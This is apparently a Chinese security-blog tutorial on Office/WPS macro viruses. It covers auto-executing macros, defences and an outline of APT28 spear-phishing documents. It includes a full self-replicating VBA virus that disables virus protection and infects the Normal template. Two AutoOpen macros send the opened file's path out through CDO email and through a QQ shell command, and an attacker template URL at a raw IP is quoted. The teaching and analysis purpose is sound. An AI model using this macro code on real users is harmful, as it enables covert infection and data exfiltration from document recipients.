您可能之前看到過我寫的類似文章,為什么還要重復撰寫呢?只是想更好地幫助初學者了解病毒逆向分析和系統安全,更加成體系且不破壞之前的系列,因此,我重新開設了這個專欄,準備系統整理和深入學習系統安全、逆向分析和惡意代碼檢測,“系統安全”系列文章會更加聚焦,更加系統,更加深入,也是作者的慢慢成長史,換專業確實挺難的,逆向分析也是塊硬骨頭,但我也試試,看看自己未來四年究竟能將它學到什么程度,漫漫長征路,偏向虎山行,享受程序,一起加油~
作者前文介紹了病毒原理和防御知識,并通過批處理代碼和漏洞(CVE-2018-20250)利用讓大家感受下病毒攻擊的程序,提出了安全相關建議;這篇文章將詳細講解宏病毒相關知識,它仍然活躍于各個APT攻擊樣本中,具體內容包括宏病毒基礎原理、防御措施、自發郵件及APT28樣本分析, 這些基礎性知識不僅和系統安全相關,同樣與我們身邊常用的軟體、檔案、作業系統緊密聯系,希望這些知識對您有所幫助,更希望大家提高安全意識,安全保障任重道遠,本文參考了參考文獻中的文章,并結合自己的經驗和實踐進行撰寫,也推薦大家閱讀參考文獻,
文章目錄
- 一.什么是宏
- 1.基礎概念
- 2.安裝配置
- 3.錄制新宏案例
- 二.宏病毒
- 1.宏病毒基礎
- 2.自動宏案例
- 3.宏病毒感染
- 三.宏病毒的自我保護與防御
- 四.案例:CDO自發郵箱
- 五.案例:QQ發送資訊
- 六.APT28攻擊中的宏病毒
- 1.OZ魚叉郵件
- 2.酒店行業魚叉郵件
- 3.研究機構魚叉郵件
- 七.總結
從2019年7月開始,我來到了一個陌生的專業——網路空間安全,初入安全領域,是非常痛苦和難受的,要學的東西太多、涉及面太廣,但好在自己通過分享100篇“網路安全自學”系列文章,艱難前行著,感恩這一年相識、相知、相趣的安全大佬和朋友們,如果寫得不好或不足之處,還請大家海涵!
接下來我將開啟新的安全系列,叫“系統安全”,也是免費的100篇文章,作者將更加深入的去研究惡意樣本分析、逆向分析、內網滲透、網路攻防實戰等,也將通過在線筆記和實踐操作的形式分享與博友們學習,希望能與您一起進步,加油~
- 推薦前文:網路安全自學篇系列-100篇
作者的github資源:
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
前文分析:
- [系統安全] 一.什么是逆向分析、逆向分析基礎及經典掃雷游戲逆向
- [系統安全] 二.如何學好逆向分析及呂布傳游戲逆向案例
- [系統安全] 三.IDA Pro反匯編工具初識及逆向工程解密實戰
- [系統安全] 四.OllyDbg動態分析工具基礎用法及Crakeme逆向
- [系統安全] 五.OllyDbg和Cheat Engine工具逆向分析植物大戰僵尸游戲
- [系統安全] 六.逆向分析之條件陳述句和回圈陳述句原始碼還原及流程控制
- [系統安全] 七.逆向分析之PE病毒原理、C++實作檔案加解密及OllyDbg逆向
- [系統安全] 八.Windows漏洞利用之CVE-2019-0708復現及藍屏攻擊
- [系統安全] 九.Windows漏洞利用之MS08-067遠程代碼執行漏洞復現及深度提權
- [系統安全] 十.Windows漏洞利用之SMBv3服務遠程代碼執行漏洞(CVE-2020-0796)復現
- [系統安全] 十一.那些年的熊貓燒香及PE病毒行為機理分析
- [系統安全] 十二.熊貓燒香病毒IDA和OD逆向分析(上)病毒初始化
- [系統安全] 十三.熊貓燒香病毒IDA和OD逆向分析(中)病毒釋放機理
- [系統安全] 十四.熊貓燒香病毒IDA和OD逆向分析–病毒釋放程序(下)
- [系統安全] 十五.Chrome瀏覽器保留密碼功能滲透決議、藍屏漏洞及某音樂軟體漏洞復現
- [系統安全] 十六.PE檔案逆向基礎知識(PE決議、PE編輯工具和PE修改)
- [系統安全] 十七.Windows PE病毒概念、分類及感染方式詳解
- [系統安全] 十八.病毒攻防機理及WinRAR惡意劫持漏洞(腳本病毒、自啟動、定時關機、藍屏攻擊)
- [系統安全] 十九.宏病毒之入門基礎、防御措施、自發郵件及APT28宏樣本分析
宣告:本人堅決反對利用教學方法進行犯罪的行為,一切犯罪行為必將受到嚴懲,綠色網路需要我們共同維護,更推薦大家了解它們背后的原理,更好地進行防護,該樣本不會分享給大家,分析工具會分享,(參考文獻見后)
一.什么是宏
1.基礎概念
宏(Macro)是一種批量處理的稱謂,是指能組織到一起作為獨立的命令使用的一系列Word命令,可以實作任務執行的自動化,簡化日常的作業,Microsoft Office使用Visual Basic for Applications(VBA)進行宏的撰寫,
大家可能接觸到的宏并不多,但如果經常使用Word檔案時,可能會遇到宏,比如國家自然科學基金申請,或者作者之前分享的宏技巧,文章如下:
- [Office] WPS Excel通過添加宏實作多張表格合并
- [黑科技] WPS通過VB宏函式實作自編號功能
注意,在Office中可以直接使用Word的宏函式,而WPS需要安裝相關的軟體后才能使用,打開WPS Word如下圖所示,宏是不能使用的,

2.安裝配置
這時需要下載VBA for WPS并安裝才能使用(下載地址為第19篇),下載安裝如下圖所示:
- https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis

安裝完后可以設定宏函式,如下圖所示:

點擊"宏",然后"創建"宏函式,如下圖所示,取名為test,

創建后如下圖所示,可以看到是VB代碼進行撰寫的,

代碼示例如下:
Sub test()
'
' test Macro
'
Dim sLineNum3 As String '行號(文字)
Dim nLineNum '行號(數值)
Dim i As Long
Title = "輸入編號資訊"
a1 = "請輸入總編號開始號:"
b1 = InputBox(a1, Title)
End Sub
WPS可以保存為帶宏函式的格式,如下圖所示,

然后運行宏函式如下圖所示,點擊"運行"即可,如下圖所示,

運行結果如下圖所示,彈出界面輸入:

3.錄制新宏案例
第一步,降低宏的安全性,
宏的默認安全性非常高,有時會導致宏程式不會自動執行,我們可以修改降低其安全性,

第二步,設定字體隱藏,
假設我們現在有這樣一個需求,要將檔案中的內容隱藏,怎么做呢?傳統方法是全選文字,然后設定字體隱藏,如下圖所示,

如果需要查看文字再進行還原,這些小技巧往往會隱藏在病毒或木馬中,那么,我們是否可以將這隱藏和還原兩個操作用兩個快捷鍵關聯起來呢?下次再進行相關操作時,會變得更加簡潔,

第三步,點擊錄制新宏,

第四步,將剛才的操作執行一遍,全選文字然后隱藏,然后點擊停止錄制,

此時,可以看到我們新創建的宏MacroHide,

第五步,再錄制一個顯示的新宏MacroShow,

顯示之后我們停止錄制,

第六步,系結快捷鍵,
如果是在Office中,可以直接選擇對應的快捷鍵,但WPS設定不同,

WPS設定如下:點擊“檔案”->“選項”,在“選項”界面最左側找到并點擊“自定義功能區”,選擇“自定義”按鈕,

設定快捷鍵如下:
- MacroHide對應Ctrl+Shift+H
- MacroShow對應Ctrl+Shift+S

此時,功能已經實作,當我們按下“Ctrl+Shift+H”時,文字隱藏,按下“Ctrl+Shift+S”時文字顯示,

當然宏可以更加復雜,接下來我們將介紹,同時,怎么去查看宏代碼呢?通過VB編輯器能夠查看宏代碼,如下圖所示,

在Normal下的模塊=>NewMacros有我們剛剛編輯的兩個宏,

該代碼的核心內容如下:
- Selection.WholeStory 全選功能
- Selection.Font 字體設定
- Hidden = 1 隱藏屬性設定為True
Sub MacroHide()
'
' MacroHide Macro
' 宏由 xiuzhang 錄制,時間: 2020/04/20
'
Selection.WholeStory
With Selection.Font
.Underline = wdUnderlineNone
.EmphasisMark = wdEmphasisMarkNone
.Hidden = 0
.Shadow = 0
.Outline = 0
.Emboss = 0
.Engrave = 0
.Scaling = 100
.Scaling = 100
.Hidden = 1
.Hidden = 1
End With
End Sub
二.宏病毒
1.宏病毒基礎
那么,什么又是宏病毒呢?
宏病毒是一種寄存在檔案或模板的宏中的計算機病毒,存在于資料檔案或模板中(字處理檔案、資料表格、資料庫、演示檔案等),使用宏語言撰寫,利用宏語言的功能將自己寄生到其他資料檔案,
最早的時候,人們認為資料檔案是不可能帶有病毒的,因為資料檔案不包含指令,直到宏病毒出現才改變大家的看法,當我們打開這樣的檔案,其中的宏就會被執行,于是宏病毒就會被激活,轉移到計算機上,并駐留在Normal模板上,從此以后,所有自動保存的檔案都會“感染”上這種宏病毒,而且如果其他用戶打開了感染病毒的檔案,宏病毒又會轉移到他的計算機上,
那么,宏病毒又如何獲得這些控制權呢?
只有拿到控制前之后宏病毒才能進行傳播,它和Office的特性相關,Office支持一些自動執行的宏,如果將病毒代碼放到自動執行的宏中,Word打開時會給病毒傳播創造條件,利用自動執行宏將病毒代碼寫在宏匯中,由于這些宏會自動執行,從而獲取控制權,
(1) WORD
- AutoOpen:打開Word檔案
- AutoClose:關閉Word檔案
- AutoExec:打開Word程式(Word檔案和Word程式區別)
- AutoExit:退出Word程式
- AutoNew:新建宏
(2) EXCEL
- Auto_Open
- Auto_Close
- Auto_Activate
- Auto_Deactivate
(3) Office97/2000
- Document_Open
- Document_Close
- Document_New
2.自動宏案例
我們通過VB編輯器增加宏代碼,定義了五個自動宏,
- 第一個是新建檔案:AutoNew
- 第二個是退出程式:AutoExit
- 第三個關閉檔案:AutoClose
- 第四個打開檔案:AutoExec
- 第五個打開程式:AutoExec
注意,程式指WPS或Office,一個程式可以打開或創建多個檔案,他們存在一定區別,同樣,它們的權限也有區別,

代碼如下:
Sub AutoOpen()
MsgBox "您好,您打開了Word檔案!", 0, "宏病毒測驗"
End Sub
Sub AutoExec()
MsgBox "您好,您打開了Word程式!", 0, "宏病毒測驗"
End Sub
Sub AutoNew()
MsgBox "您好,您選擇了新建檔案!", 0, "宏病毒測驗"
End Sub
Sub AutoExit()
MsgBox "歡迎下次光臨!", 0, "宏病毒測驗"
End Sub
Sub AutoClose()
MsgBox "下次還要來哦!", 0, "宏病毒測驗"
End Sub
Sub MyFirstVBAProcedure()
Dim NormProj
MsgBox "歡迎光臨XXXXXX安全實驗室!", 0, "宏病毒測驗"
Set NormProj = NormalTemplate.VBProject
MsgBox NormProj.Name, 0, "模塊檔案名" '顯示模板檔案的名字
With Assistant.NewBalloon '調出助手
.Icon = msoIconAlert
.Animation = msoAnimationGetArtsy
.Heading = "Attention,Please!"
.Text = "Today I turn into a martian!"
.Show
End With
End Sub
當我們打開Word時,會提示我們安全警告,選擇“啟用宏”,

此時會提示一個打開Word檔案的對話框,表示AutoOpen宏自啟動,

當我們關閉程式會提示如下對話框,

如果我們想要查看宏的具體定義,可以查看定義的函式,如下圖所示,也可以在工具列中選擇VB編輯器查看代碼,

當我們執行某個函式,會有對應的執行效果,比如彈出“宏病毒測驗”對話框,

你可能會疑惑,為什么只彈出了兩個對話框呢?
因為宏包括兩種型別——區域宏和全域宏,而退出Word程式和進入Word程式不是當前檔案能定義的,其他三個宏無法起到作用,我們需要將它們復制到Normal模塊中才能運行,
3.宏病毒感染
在Word和其他微軟Office系列辦公軟體中,宏分為兩種,
- 內建宏:區域宏,位于檔案中,對該檔案有效,如檔案打開(AutoOpen)、保存、列印、關閉等
- 全域宏:位于office模板中,為所有檔案所共用,如打開Word程式(AutoExec)
宏病毒的傳播路線如下:
- 單機:單個Office檔案 => Office檔案模板 => 多個Office檔案(檔案到模塊感染)
- 網路:電子郵件居多
首先Office檔案被感染病毒,當檔案打開會執行自動宏,如果宏被執行,它會去檢測當前模板是否被感染病毒,如果沒有被感染,它會將釋放自身的病毒代碼,當模板被感染之后,系統中任何一個檔案被打開,都會執行模板中的病毒,宏病毒進行傳播,
宏病毒的感染方案就是讓宏在這兩類檔案之間互相感染,即資料檔案、檔案模板, 下面是《軟體安全》課程的示例圖,

注意,宏代碼是可以除錯的,

完整代碼如下:
Sub test()
'On Error Resume Next
Application.DisplayAlerts = wdAlertsNone
Application.EnableCancelKey = wdCancelDisabled
Application.DisplayStatusBar = False
Options.VirusProtection = False
Options.SaveNormalPrompt = False '以上是病毒基本的自我保護措施
Set Doc = ActiveDocument.VBProject.VBComponents
'取當前活動檔案中工程組件集合
Set Tmp = NormalTemplate.VBProject.VBComponents
'取Word默認模板中工程組件集合
Const ExportSource = "c:\jackie.sys"
Const VirusName = "AIGTMV1" '該字串相當于一個病毒感染標志
Application.VBE.ActiveVBProject.VBComponents(VirusName).Export ExportSource
'將當前病毒代碼匯出到c:\jackie.sys檔案保存
For i = 1 To Tmp.Count
If Tmp(i).Name = VirusName Then TmpInstalled = 1
'檢查模板是否已經被感染病毒
Next i
For j = 1 To Doc.Count
If Doc(j).Name = VirusName Then DocInstalled = 1
'檢查當前活動檔案是否已被感染病毒
Next j
If TmpInstalled = 0 Then '如果模板沒有被感染,對其進行感染
Tmp.Import ExportSource '從c:\jackie.sys將病毒匯入模板
NormalTemplate.Save '自動保存模板,以免引起用戶懷疑
End If
If DocInstalled = 0 Then '如果當前活動檔案沒有被感染
Doc.Import ExportSource '從c:\jackie.sys將病毒匯入當前活動檔案
ActiveDocument.SaveAs ActiveDocument.FullName '自動保存當前活動檔案
End If
MsgBox "Word instructional macro by jackie", 0, "Word.APMP"
End Sub
宏病毒也可以通過網路進行傳播,譬如電子郵件,
- Mellisa病毒:自動往OutLook郵件用戶地址簿中的前50位用戶發送病毒副本
- “叛逃者”病毒:也集成了感染Office檔案的宏病毒感染功能,并且可以通過OutLook發送病毒副本

三.宏病毒的自我保護與防御
宏病毒的自我保護主要包括三種方法:
(1) 禁止提示資訊
On Error Resume Next 如果發生錯誤,不彈出出錯視窗,繼續執行下面陳述句
Application.DisplayAlerts = wdAlertsNone 不彈出警告視窗
Application.DisplayStatusBar = False 不顯示狀態欄,以免顯示宏的運行狀態
Options.VirusProtection = False 關閉病毒保護功能,運行前如果包含宏,不提示
…
(2) 屏蔽命令選單,不允許查看宏
- 通過特定宏定義
Sub ViewVBCode()
MsgBox "Unexcpected error",16
End Sub
ViewCode:該程序和ViewVBCode函式一樣,如果用戶按工具列上的小圖示就會執行這個程序,
- Disable或者洗掉特定選單項
用來使“工具—宏”選單失效的陳述句
CommandBars(“Tools”).Controls(16).Enabled = False
(3) 隱藏宏的真實病毒代碼
在“自動宏”中,不包括任何感染或破壞的代碼,但包含了創建、執行和洗掉新宏(實際進行感染和破壞的宏)的代碼;將宏代碼字體顏色設定成與背景一樣的白色等,
宏病毒的防御措施包括:
- 一旦發現計算機Office軟體打開后彈出系統警告框,并且無法“另存為”,就表示該檔案已感染宏病毒,此時不能再打開其他檔案,否則病毒也會感染,應馬上關閉洗掉該檔案,若檔案重要不能洗掉,則需用殺毒軟體全盤掃面,處理感染檔案,
- 開啟禁用宏進行防止再次感染病毒,在“受信任位置”中,洗掉“可靠來源”串列框中的不安全來源,根據實際情況設定是否信任所有安裝的加載項和模板,設定宏的安全性,

- 安裝殺毒軟體,打全系統補丁是預防計算機病毒的基本措施,當然也適用于宏病毒,除此這些常規手段之外,宏病毒還有專門的防治措施,
- 在線沙箱檢測檔案是否宏病毒,
四.案例:CDO自發郵箱
接下來我們制作一個宏,當對方打開檔案時就知道該檔案在對方電腦存盤的具體路徑,常見方法包括:
- 郵件組件,如CDO組件
- 遠程腳本
這里采用CDO自發郵件實作,通過Word VB撰寫腳本,設定檔案打開時運行,利用CDO發送電子郵件將文件的路徑和名字發送到指定郵箱中,具體步驟如下:
- 1) 利用AutoOpen執行并打開檔案時運行
- 2) 利用WordObj.ActiveDocument獲取檔案資訊
- 3) 利用CDO實作電子郵件實作資訊傳遞
注意,千萬別小瞧這個功能,如果是一封釣魚郵件或運行宏病毒自動采集個人電腦資訊發送至指定郵件,其危害性非常大,而且該攻擊手段廣泛存在于許多亞洲APT組組中,
參考文獻:
- 宏病毒+使用CDO自動發郵件 - 良月廿七
- word宏病毒通過郵件獲取路徑和檔案名 - Braylon1002
- 宏的基本概念與使用 - WHU MOOC
- 宏&一個簡單的宏病毒示例 - Erio
定義的宏函式為AutoOpen,如下圖所示:

核心代碼如下所示:

完整代碼如下,包括獲取檔案夾路徑、定義郵件地址、添加CDO庫、設定微軟服務器、CDO郵件引數設定、發送資料
Sub AutoOpen()
' AutoOpen宏
' By: CSDN Eastmount 2020-04-21
' 獲取檔案夾路徑
Dim WordObj As Object
Dim Doc As Object
Set WordObj = GetObject(, "Word.Application")
Set Doc = WordObj.ActiveDocument
MsgBox (Doc.Path)
' 定義郵件地址
Const from1 = "152xxxxxxxx@163.com"
Const to1 = "xxxxxxxxxx@qq.com"
Const password = "xxxxxxxxxx"
' 添加CDO庫
Set CDO = CreateObject("CDO.Message")
CDO.from = from1
CDO.to = to1
CDO.Subject = Doc.Name
CDO.Textbody = Doc.Path
' 微軟服務器網址
MsgBox ("發送郵件")
Const proxyUrl = "http://schemas.microsoft.com/cdo/configuration/"
With CDO.Configuration.Fields
.Item(proxyUrl & "sendusing") = 2 '發送埠
.Item(proxyUrl & "smtpserver") = "smtp.163.com" 'SMTP服務器地址
.Item(proxyUrl & "smtpserverport") = 25 'SMTP服務器埠
.Item(proxyUrl & "smtpauthenticate") = 1 '是否開啟用戶名密碼驗證
.Item(proxyUrl & "sendusername") = from1 '發送方郵箱名稱
.Item(proxyUrl & "sendpassword") = password '發送方郵箱密碼
.Item(proxyUrl & "smtpusessl") = True '是否使用ssl協議
.Item(proxyUrl & "smtpconnectiontimeout") = 60 '時延
.Update
End With
' 發送資料
CDO.Send
Set CDO = Nothing
MsgBox ("成功!")
End Sub
當test04.doc檔案打開時,它會自動運行,其結果如下圖所示:

接著對話框提示發送郵件,

最終郵件通過宏病毒發送成功,

下圖可見,成功將Word穩定打開的路徑地址發送到了目標郵箱,如果宏病毒再獲取更詳細的資訊或檔案,是否也能發送到指定郵箱呢?這樣的惡意代碼仍需要重視,

注意事項及常見錯誤:
(1) 如果在撰寫宏病毒程序中,出現“缺少:串列分隔符或)”,我們需要進行除錯及修改,

(2) 如果提示“郵件無法發送到SMTP服務器,傳輸錯誤代碼為 0x80040217,服務器回應為 not available”,則需要開啟STMP授權,

CDO發送郵件時需要開啟郵件的stmp授權代理,網易郵箱163設定方法如下圖所示:

如果騰訊郵箱要開啟SMTP/POP3服務,則將生成的授權碼當作郵箱登陸密碼來進行郵件發送,注意設定的是授權碼而不是密碼,


(3) 如果wps報429 ActiveX不能創建物件 ,則解決方法參考:
- https://www.cnblogs.com/pyman/p/7918484.html
五.案例:QQ發送資訊
接著通過QQ發送資訊來制作宏病毒,并獲取對方電腦存盤的具體路徑,具體流程:
- 獲取檔案路徑
- 將路徑復制至剪貼板
- 發送QQ訊息
- 通過sendkeys輸入ctrl+V發送粘貼內容
注意,騰訊WebQQ停止運營了,且不好獲取QQ的聊天視窗句柄,才采用了該方法,該部分主要參考師弟的代碼,再次感謝,
完整宏代碼如下:
Sub AutoOpen()
' 獲取檔案路徑
DocPath = ActiveDocument.Path
DocName = ActiveDocument.Name
Text1 = "DocPath:" + DocPath
Text2 = "DocName:" + DocName
Result = Text1 + Text2
MsgBox (Result)
' 將內容送入剪貼板
With CreateObject("new:{1C3B4210-F441-11CE-B9EA-00AA006B1A69}")
.SetText Result
.PutInClipboard
End With
' 發送QQ訊息
Shell "cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes"
Dim t As Single
t = Timer
Do
DoEvents
Loop While Timer - t < 2 '擱置2s
' 粘貼
SendKeys "^v"
SendKeys "{ENTER}"
SendKeys "{ENTER}"
SendKeys "^{ENTER}"
End Sub
運行代碼如下,獲取了Word檔案的路徑,

此時內容復制至剪貼板,如果輸入Ctrl+V,輸出內容如下:

通過下面的命令可以直接打開某個QQ的視窗,
- cmd /c start tencent://Message/?Uin=QQ號碼&weName=qzone.qq.com & Menu=yes

最終當我們打開Word檔案,它會執行自動代碼,并向某個QQ號自動發送資訊,運行效果如下圖所示:

六.APT28攻擊中的宏病毒
最后分享先知社區關于APT28樣本的宏病毒分析,和作者的這篇文章基礎知識非常相關,如果該部分有不當的地方,可以提醒我洗掉,感謝,參考文獻:
- APT28樣本分析之宏病毒分析
APT28組織是一個與ELS有關的高級攻擊團伙,本次分析的是該團伙使用的宏病毒,所有資料均來自互聯網,比如,2018年10月到11月OZ外交處理事務組織的魚叉郵件(paloalto),2017年7月到8月酒店行業的魚叉郵件(Fireeye),2017年10月MG研究機構的魚叉郵件(cisco),
1.OZ魚叉郵件
- 檔案名稱:crash list(Lion Air Boeing 737).docx
- SHA-256 2cfc4b3686511f959f14889d26d3d9a0d06e27ee2bb54c9afb1ada6b8205c55f
- 創建時間:2018:09:11 04:22:00Z
- 檔案大小:32.9 KB (33,775 位元組)
- 基本方法
打開檔案會進行遠程模板加載,使用這種攻擊首先初始檔案不會有明顯的惡意代碼,并且可以收集受害者的IP,一旦攻擊成功,就關閉服務器,難以追蹤,
首先,遠程模板的位置 http://188.241.58.170/live/owa/office.dotm,注意,在分析惡意樣本時,千萬別訪問這些遠程鏈接或檔案,很可能中病毒或成為肉雞,

通過宏代碼分析,發現其沒有進行混淆作業,但是這次使用AutoClose,只有檔案關閉的時候,惡意代碼才會執行,從而會繞過一些不關閉檔案的沙箱檢測,

此次宏檔案一共會創建兩個檔案,如下所示,分別是從 UserForm1.Label2.Caption 和 UserForm1.Label1.Caption 中提取出來使用base64編碼的惡意檔案,
- Environ(“APPDATA”) “\MSDN” “~msdn”
- Environ(“TEMP”) “~temp.docm”

選擇UserForm1表單右鍵保存后,可以看到里面經過base64編碼的惡意檔案,


將msdn和temp.docm寫入后開始加載temp.docm,再運行temp.docm的Module1.Proc1,

最后可以看到通過shell運行釋放exe,

2.酒店行業魚叉郵件
- 檔案名稱:Hotel_Reservation_Form.doc
- SHA-256 a4a455db9f297e2b9fe99d63c9d31e827efb2cda65be445625fa64f4fce7f797
- 創建時間:2017:07:03 05:33:00Z
- 檔案大小:76.7 KB (78,600 位元組)
- 基本方法
針對特定的攻擊目標對內容進行了定制化處理,樣本使用WMI呼叫
rundll32.exe啟動,
首先,樣本運行完如下,可以看到針對特定的攻擊目標對內容進行了特定的定制化,

分析宏代碼,發現宏代碼是加密過的,

解密可以看到三個函式,攻擊者并沒有做太多的混淆,而是將關鍵的PE檔案BASE64編碼放到XML檔案中,包括:
- AutoOpen()
- DecodeBase64(base64)
- Execute()
獲取指定xml節點的資訊,

最后在docProps/app.xml中發現了這個base64編碼的文本,

之后將base64文本檔案解碼,

解密后為一個PE檔案,

發現將樣本放到APPDATA環境變數的目錄下,檔案名為user.dat,最后使用了WMI呼叫rundll32.exe啟動,

3.研究機構魚叉郵件
- 檔案名稱:Conference_on_Cyber_Conflict.doc
- SHA-256 e5511b22245e26a003923ba476d7c36029939b2d1936e17a9b35b396467179ae
- 創建時間:2017:10:03 01:36:00
- 檔案大小:333 KB (341,504 位元組)
- 基本方法
針對特定的攻擊目標對內容進行了定制化處理,樣本base64解碼,設定bat腳本并啟動,
樣本運行完如下,可以看到針對特定的攻擊目標對內容進行了特定的定制化,

對宏代碼進行了加密,解密可以看到三個函式,攻擊者并沒有做太多的混淆,而是將關鍵的可執行檔案分散放編碼放到檔案屬性中,
- AutoOpen()
- DecodeBase64(base64)
- Execute()
將base64資料放到了word的內置屬性中,

合并獲取的編碼值并解碼,

最后設定bat腳本,然后啟動


七.總結
寫到這里,這篇宏病毒基礎性文章就介紹結束了,包括入門基礎、防御措施、自發郵件及APT28樣本分析,希望對您有所幫助,后續作者還會繼續深入分析宏病毒,并結合實體和防御進行講解,作者作為網路安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,感謝小伙伴和師傅們的教導,深知自己很菜,得努力前行,
- 一.什么是宏
1.基礎概念
2.安裝配置
3.錄制新宏案例 - 二.宏病毒
1.宏病毒基礎
2.自動宏案例
3.宏病毒感染 - 三.宏病毒的自我保護與防御
- 四.案例:CDO自發郵箱
- 五.案例:QQ發送資訊
- 六.APT28攻擊中的宏病毒
1.OZ魚叉郵件
2.酒店行業魚叉郵件
3.研究機構魚叉郵件
學安全一年,認識了很多安全大佬和朋友,希望大家一起進步,這篇文章中如果存在一些不足,還請海涵,作者作為網路安全和系統安全初學者的慢慢成長路吧!希望未來能更透徹撰寫相關文章,同時非常感謝參考文獻中的安全大佬們的文章分享,感謝師傅、實驗室小伙伴的教導,深知自己很菜,得努力前行,編程沒有捷徑,逆向也沒有捷徑,它們都是搬磚活,少琢磨技巧,干就對了,什么時候你把攻擊對手按在地上摩擦,你就贏了,也會慢慢形成了自己的安全經驗和技巧,加油吧,少年希望這個路線對你有所幫助,共勉,
歡迎大家討論,是否覺得這系列文章幫助到您!如果存在不足之處,還請海涵,任何建議都可以評論告知讀者,共勉~
- 逆向分析:https://github.com/eastmountyxz/SystemSecurity-ReverseAnalysis
- 網路安全:https://github.com/eastmountyxz/NetworkSecuritySelf-study
2020年8月18新開的“娜璋AI安全之家”,主要圍繞Python大資料分析、網路空間安全、人工智能、Web滲透及攻防技術進行講解,同時分享CCF、SCI、南核北核論文的演算法實作,娜璋之家會更加系統,并重構作者的所有文章,從零講解Python和安全,寫了近十年文章,真心想把自己所學所感所做分享出來,還請各位多多指教,真誠邀請您的關注!謝謝,
(By:Eastmount 2021-02-04 星期四 凌晨夜于貴陽 http://blog.csdn.net/eastmount/ )
參考文獻:
[1] 小伙伴們的分享、《軟體安全》課程實驗(詳見網易云課程WHU)
[2] 宏的基本概念與使用 - WHU MOOC
[3] 宏病毒+使用CDO自動發郵件 - 良月廿七
[4] word宏病毒通過郵件獲取路徑和檔案名 - Braylon1002
[5] 宏&一個簡單的宏病毒示例 - Erio
[6] PoetRAT: Python RAT uses COVID-19 lures to target Azerbaijan public and private sectors
[7] APT28樣本分析之宏病毒分析 - 先知社區
[8] 宏病毒研究2——實戰研究篇 - i春秋老師 icq5f7a075d
[9] [Office] WPS Excel通過添加宏實作多張表格合并
[10] [黑科技] WPS通過VB宏函式實作自編號功能
[11] https://www.fireeye.com/blog/threat-research/2017/08/apt28-targets-hospitality-sector.html
[12] https://researchcenter.paloaltonetworks.com/2018/11/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
[13] https://blog.talosintelligence.com/2017/10/cyber-conflict-decoy-document.html
轉載請註明出處,本文鏈接:https://www.uj5u.com/qita/256747.html
標籤:其他
上一篇:BlockingQueue學習
